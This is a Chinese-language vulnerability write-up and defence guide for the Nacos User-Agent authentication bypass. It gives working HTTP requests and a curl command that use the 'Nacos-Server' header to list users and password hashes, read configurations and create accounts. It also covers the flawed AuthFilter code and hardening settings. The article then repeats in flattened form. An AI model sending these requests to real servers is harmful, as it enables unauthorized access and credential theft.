某cos未授权访问漏洞和影响案例
字数 1467 2025-08-18 11:35:59

Nacos 鉴权绕过漏洞分析与防御指南

1. Nacos 简介

Nacos 是一个动态服务发现、配置和服务管理平台,用于构建云原生应用和服务基础设施。主要功能包括:

  • 服务发现与健康监测
  • 动态配置管理
  • 服务元数据与流量管理
  • 支持多种服务类型:Kubernetes Service、gRPC & Dubbo RPC Service、Spring Cloud RESTful Service等

2. 漏洞概述

Nacos 存在一个由于不当处理 User-Agent 和 URL 路径导致的鉴权绕过漏洞,攻击者可利用该漏洞:

  1. 绕过身份验证获取用户列表
  2. 查看敏感配置信息(如数据库密码)
  3. 创建新用户账户
  4. 获取系统管理权限

影响版本

  • Nacos <= 2.0.0-ALPHA.1

3. 漏洞验证方法

3.1 检测目标是否为 Nacos

请求:

GET /nacos/ HTTP/1.1
Host: 10.0.0.22:8848
User-Agent: Nacos-Server
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

响应中包含 <title>Nacos</title> 即可确认目标为 Nacos。

3.2 获取用户列表

请求:

GET /nacos/v1/auth/users?pageNo=1&pageSize=900 HTTP/1.1
Host: 10.0.0.22:8848
User-Agent: Nacos-Server
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

响应示例:

{
  "totalCount":1,
  "pageNumber":1,
  "pagesAvailable":1,
  "pageItems":[
    {
      "username":"nacos",
      "password":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
    }
  ]
}

默认账号为 nacos,默认密码为 nacos(密码为 bcrypt 哈希)。

3.3 查看敏感配置

请求:

GET /nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=10&tenant=dev&search=accurate HTTP/1.1
Host: 10.0.0.22:8848
User-Agent: Nacos-Server
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

可能获取到数据库密码等敏感信息。

3.4 创建新用户

使用 curl 命令:

curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test' -H 'User-Agent: Nacos-Server'

或发送 HTTP 请求:

POST /nacos/v1/auth/users HTTP/1.1
Host: 10.0.0.22:8848
User-Agent: Nacos-Server
Accept: application/json, text/plain, */*
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 27

username=test&password=test

成功响应:

{"code":200,"message":"create user ok!","data":null}

4. 漏洞分析

漏洞位于 com.alibaba.nacos.core.auth.AuthFilter#doFilter 方法中:

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) 
    throws IOException, ServletException {
    
    if (!authConfigs.isAuthEnabled()) {
        chain.doFilter(request, response);
        return;
    }
    
    HttpServletRequest req = (HttpServletRequest) request;
    HttpServletResponse resp = (HttpServletResponse) response;
    
    if (authConfigs.isEnableUserAgentAuthWhite()) {
        String userAgent = WebUtils.getUserAgent(req);
        if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
            chain.doFilter(request, response);
            return;
        }
    }
    // ... 其他代码
}

4.1 主要问题点

  1. User-Agent 白名单绕过

    • 默认 authConfigs.isEnableUserAgentAuthWhite() 为 true
    • 当 User-Agent 以 "Nacos-Server" 开头时,直接跳过鉴权
  2. 路径解析问题

    • 通过特殊构造 URL 路径(如添加末尾斜杠)可使 methodsCache.getMethod(req) 返回 null
    • 导致绕过后续鉴权逻辑
  3. 修复机制缺陷

    • 即使配置了 nacos.core.auth.server.identity.keynacos.core.auth.server.identity.value
    • 在不匹配时未正确处理拒绝访问逻辑

5. 实际攻击案例

  1. 攻击者发现开源博客项目使用 Nacos
  2. 通过漏洞获取配置信息,包含 MySQL 和 Redis 的明文密码
  3. 利用开放的 3306 端口直接连接数据库
  4. 获取或篡改数据库内容

6. 修复方案

conf/application.properties 中配置:

# 开启鉴权
nacos.core.auth.enabled=true

# 关闭白名单功能
nacos.core.auth.enable.userAgentAuthWhite=false

# 配置自定义键值对
nacos.core.auth.server.identity.key=自定义键
nacos.core.auth.server.identity.value=自定义值

6.1 修复步骤详解

  1. 启用鉴权

    nacos.core.auth.enabled=true
    
  2. 禁用 User-Agent 白名单

    nacos.core.auth.enable.userAgentAuthWhite=false
    
  3. 配置自定义身份验证

    nacos.core.auth.server.identity.key=aaanacos.core.auth.server.identity.value=bbb
    
    • 键值对可自定义
    • 确保在生产环境使用强密码
  4. 升级到最新版本

    • 升级到 Nacos 2.0.0-ALPHA.1 以上版本

7. 安全建议

  1. 最小权限原则

    • 限制 Nacos 管理界面的访问IP
    • 使用防火墙规则限制访问端口
  2. 密码安全

    • 修改默认账号密码
    • 使用强密码策略
  3. 配置加密

    • 对敏感配置信息进行加密存储
    • 避免在配置中存储明文密码
  4. 网络隔离

    • 将 Nacos 部署在内网环境
    • 避免将数据库等服务端口暴露到公网
  5. 定期审计

    • 检查用户列表和权限设置
    • 监控异常登录行为

8. 总结

Nacos 鉴权绕过漏洞是一个严重的安全问题,攻击者可利用该漏洞完全控制系统。通过正确配置鉴权参数、禁用危险功能并及时升级,可以有效防御此类攻击。管理员应定期检查系统安全配置,确保遵循最佳安全实践。

Nacos 鉴权绕过漏洞分析与防御指南 1. Nacos 简介 Nacos 是一个动态服务发现、配置和服务管理平台,用于构建云原生应用和服务基础设施。主要功能包括: 服务发现与健康监测 动态配置管理 服务元数据与流量管理 支持多种服务类型:Kubernetes Service、gRPC & Dubbo RPC Service、Spring Cloud RESTful Service等 2. 漏洞概述 Nacos 存在一个由于不当处理 User-Agent 和 URL 路径导致的鉴权绕过漏洞,攻击者可利用该漏洞: 绕过身份验证获取用户列表 查看敏感配置信息(如数据库密码) 创建新用户账户 获取系统管理权限 影响版本 Nacos <= 2.0.0-ALPHA.1 3. 漏洞验证方法 3.1 检测目标是否为 Nacos 请求: 响应中包含 <title>Nacos</title> 即可确认目标为 Nacos。 3.2 获取用户列表 请求: 响应示例: 默认账号为 nacos ,默认密码为 nacos (密码为 bcrypt 哈希)。 3.3 查看敏感配置 请求: 可能获取到数据库密码等敏感信息。 3.4 创建新用户 使用 curl 命令: 或发送 HTTP 请求: 成功响应: 4. 漏洞分析 漏洞位于 com.alibaba.nacos.core.auth.AuthFilter#doFilter 方法中: 4.1 主要问题点 User-Agent 白名单绕过 : 默认 authConfigs.isEnableUserAgentAuthWhite() 为 true 当 User-Agent 以 "Nacos-Server" 开头时,直接跳过鉴权 路径解析问题 : 通过特殊构造 URL 路径(如添加末尾斜杠)可使 methodsCache.getMethod(req) 返回 null 导致绕过后续鉴权逻辑 修复机制缺陷 : 即使配置了 nacos.core.auth.server.identity.key 和 nacos.core.auth.server.identity.value 在不匹配时未正确处理拒绝访问逻辑 5. 实际攻击案例 攻击者发现开源博客项目使用 Nacos 通过漏洞获取配置信息,包含 MySQL 和 Redis 的明文密码 利用开放的 3306 端口直接连接数据库 获取或篡改数据库内容 6. 修复方案 在 conf/application.properties 中配置: 6.1 修复步骤详解 启用鉴权 : 禁用 User-Agent 白名单 : 配置自定义身份验证 : 键值对可自定义 确保在生产环境使用强密码 升级到最新版本 : 升级到 Nacos 2.0.0-ALPHA.1 以上版本 7. 安全建议 最小权限原则 : 限制 Nacos 管理界面的访问IP 使用防火墙规则限制访问端口 密码安全 : 修改默认账号密码 使用强密码策略 配置加密 : 对敏感配置信息进行加密存储 避免在配置中存储明文密码 网络隔离 : 将 Nacos 部署在内网环境 避免将数据库等服务端口暴露到公网 定期审计 : 检查用户列表和权限设置 监控异常登录行为 8. 总结 Nacos 鉴权绕过漏洞是一个严重的安全问题,攻击者可利用该漏洞完全控制系统。通过正确配置鉴权参数、禁用危险功能并及时升级,可以有效防御此类攻击。管理员应定期检查系统安全配置,确保遵循最佳安全实践。